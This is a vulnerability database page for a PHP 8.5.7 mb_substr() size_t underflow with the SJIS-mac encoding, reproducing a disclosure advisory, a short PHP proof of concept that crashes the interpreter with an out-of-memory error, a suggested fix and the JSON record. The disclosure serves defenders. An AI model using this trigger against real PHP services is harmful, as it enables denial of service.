GCVE-1988-2026-0322
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow
Summary
# PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-06-18
**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow
**Contact:** https://fereidani.com/contact
## Description
The `mb_get_substr()` function in `ext/mbstring/mbstring.c`
deliberately skips an early empty return guard for the `SJIS-mac`
encoding when `from >= in_len`. As a result, it falls through to
`mb_get_substr_slow()`, executing `mb_convert_buf_init(&buf, MIN(len,
in_len - from), ...);`. When `from > in_len`, the parameter `in_len -
from` underflows the `size_t` representation, resulting in a vastly
large allocation size (near ~2^64 bytes). This leads to an immediate
Out-Of-Memory (OOM) fatal error. Furthermore, if
`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could
potentially allocate a tiny buffer while the structural limit retains
the pseudo-wild value, resulting in a heap buffer overflow when
subsequent codepoints are decoded and written.
## Proof of concept
```php
<?php
/*
* PoC: mb_substr() 'SJIS-mac' size_t underflow
* File: ext/mbstring/mbstring.c mb_get_substr() (~L2129) +
mb_get_substr_slow() (~L2102) *
* mb_get_substr() deliberately skips the early "return empty" guard
for SJIS-mac:
*
* if (len == 0 || (from >= in_len && enc != &mbfl_encoding_sjis_mac)) {
* return zend_empty_string; // <-- sjis_mac bypasses this
when from >= in_len
* }
*
* ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to
* mb_get_substr_slow(), whose first line is:
*
* mb_convert_buf_init(&buf, MIN(len, in_len - from), ...);
*
* With `from > in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.
* mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).
*
* Two outcomes, both wrong (correct result is the empty string):
* (A) `from` huge -> initsize ~2^64 -> fatal "Allowed memory size exhausted
* (tried to allocate 18446744073708551644 bytes)". CONFIRMED below.
* (B) `from` only slightly > in_len -> initsize sits just under 2^64 and
* _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,
* while buf->limit = out + initsize stays wild -> a subsequent write of
* decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:
* needs a SJIS-mac input decoding to more codepoints than bytes, i.e.
* from < codepoint_count while from > byte_count. Worth upstream review.)
*/
echo "PHP ", PHP_VERSION, " sjis_mac available: ",
(in_array("SJIS-mac", mb_list_encodings()) ? "yes" : "no"), "\n\n";
/* control: a normal encoding with from > strlen returns "" cleanly */
echo "UTF-8, from=10 > strlen('abc'): -> "; var_dump(@mb_substr("abc",
10, null, "UTF-8"));
/* The bug: SJIS-mac, from >> strlen, length omitted -> underflow -> OOM fatal.
* The "tried to allocate 18...644 bytes" is literally (size_t)(3 - 1000000). */
echo "SJIS-mac, from=1000000 > strlen('abc'):\n";
@mb_substr("abc", 1000000, null, "SJIS-mac");
echo "(if you see this line, the fatal error above was caught/suppressed)\n";
```
## Impact
An attacker could intentionally furnish conditions where `from >
in_len` alongside the 'SJIS-mac' encoding, triggering a `size_t`
underflow. This predictably causes a severe Out-Of-Memory (OOM) fatal
error, culminating in a Denial of Service. Depending on environmental
details, it might hypothetically cause a heap buffer overflow.
## Solution
Adjust the constraints inside `mb_get_substr()` and
`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation
`in_len - from` should be adequately bounds-checked to halt
computation or safely cap at zero when `from > in_len`, sidestepping
the underflow when initializing string buffers.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jun/12 | technical-description |
| https://fereidani.com/contact | |
| https://fereidani.com/php-857-mbsubstr-sjis-mac-s… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "PHP",
"vendor": "Php",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `mb_get_substr()` function in `ext/mbstring/mbstring.c`\ndeliberately skips an early empty return guard for the `SJIS-mac`\nencoding when `from \u003e= in_len`. As a result, it falls through to\n`mb_get_substr_slow()`, executing `mb_convert_buf_init(\u0026buf, MIN(len,\nin_len - from), ...);`. When `from \u003e in_len`, the parameter `in_len -\nfrom` underflows the `size_t` representation, resulting in a vastly\nlarge allocation size (near ~2^64 bytes). This leads to an immediate\nOut-Of-Memory (OOM) fatal error. Furthermore, if\n`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could\npotentially allocate a tiny buffer while the structural limit retains\nthe pseudo-wild value, resulting in a heap buffer overflow when\nsubsequent codepoints are decoded and written.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * PoC: mb_substr() \u0027SJIS-mac\u0027 size_t underflow\n * File: ext/mbstring/mbstring.c mb_get_substr() (~L2129) +\nmb_get_substr_slow() (~L2102) *\n * mb_get_substr() deliberately skips the early \"return empty\" guard\nfor SJIS-mac:\n *\n * if (len == 0 || (from \u003e= in_len \u0026\u0026 enc != \u0026mbfl_encoding_sjis_mac)) {\n * return zend_empty_string; // \u003c-- sjis_mac bypasses this\nwhen from \u003e= in_len\n * }\n *\n * ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to\n * mb_get_substr_slow(), whose first line is:\n *\n * mb_convert_buf_init(\u0026buf, MIN(len, in_len - from), ...);\n *\n * With `from \u003e in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.\n * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).\n *\n * Two outcomes, both wrong (correct result is the empty string):\n * (A) `from` huge -\u003e initsize ~2^64 -\u003e fatal \"Allowed memory size exhausted\n * (tried to allocate 18446744073708551644 bytes)\". CONFIRMED below.\n * (B) `from` only slightly \u003e in_len -\u003e initsize sits just under 2^64 and\n * _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,\n * while buf-\u003elimit = out + initsize stays wild -\u003e a subsequent write of\n * decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:\n * needs a SJIS-mac input decoding to more codepoints than bytes, i.e.\n * from \u003c codepoint_count while from \u003e byte_count. Worth upstream review.)\n */\necho \"PHP \", PHP_VERSION, \" sjis_mac available: \",\n (in_array(\"SJIS-mac\", mb_list_encodings()) ? \"yes\" : \"no\"), \"\\n\\n\";\n\n/* control: a normal encoding with from \u003e strlen returns \"\" cleanly */\necho \"UTF-8, from=10 \u003e strlen(\u0027abc\u0027): -\u003e \"; var_dump(@mb_substr(\"abc\",\n10, null, \"UTF-8\"));\n\n/* The bug: SJIS-mac, from \u003e\u003e strlen, length omitted -\u003e underflow -\u003e OOM fatal.\n * The \"tried to allocate 18...644 bytes\" is literally (size_t)(3 - 1000000). */\necho \"SJIS-mac, from=1000000 \u003e strlen(\u0027abc\u0027):\\n\";\n@mb_substr(\"abc\", 1000000, null, \"SJIS-mac\");\necho \"(if you see this line, the fatal error above was caught/suppressed)\\n\";\n```\n\n## Impact\n\nAn attacker could intentionally furnish conditions where `from \u003e\nin_len` alongside the \u0027SJIS-mac\u0027 encoding, triggering a `size_t`\nunderflow. This predictably causes a severe Out-Of-Memory (OOM) fatal\nerror, culminating in a Denial of Service. Depending on environmental\ndetails, it might hypothetically cause a heap buffer overflow.\n\n## Solution\n\nAdjust the constraints inside `mb_get_substr()` and\n`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation\n`in_len - from` should be adequately bounds-checked to halt\ncomputation or safely cap at zero when `from \u003e in_len`, sidestepping\nthe underflow when initializing string buffers.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T07:55:54Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jun/12"
},
{
"url": "https://fereidani.com/contact"
},
{
"url": "https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jun/12"
],
"discovery": "EXTERNAL"
},
"title": "PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0322",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12",
"automated": true,
"contentSha256": "1a56f6306615be693571f8da2403bba1e3c2530e6420451db521debf9559a671",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/12",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-19T06:23:43Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:54Z",
"dateUpdated": "2026-09-11T07:55:54Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0322"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…